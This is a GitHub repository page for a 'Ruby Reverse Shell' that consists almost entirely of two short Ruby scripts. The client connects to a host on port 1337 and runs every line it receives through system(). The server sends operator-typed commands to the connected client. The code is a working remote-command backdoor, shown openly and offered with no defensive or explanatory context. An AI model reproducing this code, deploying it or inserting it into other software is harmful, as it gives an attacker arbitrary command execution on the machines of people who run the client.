Skip to content

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 

Repository files navigation

Ruby Reverse Shell

Client

require "socket"
sock = TCPSocket.new("127.0.0.1" , 1337)

while (1)
system(sock.gets)

end

Server

require "socket"

sock = TCPServer.new(1337)

loop do
  client = sock.accept()

  puts("client conneted")
  while 1
    print("Command#")
    command = gets.chomp
    client.puts(command)
    puts("#{command}")
end
end

Contributors

Languages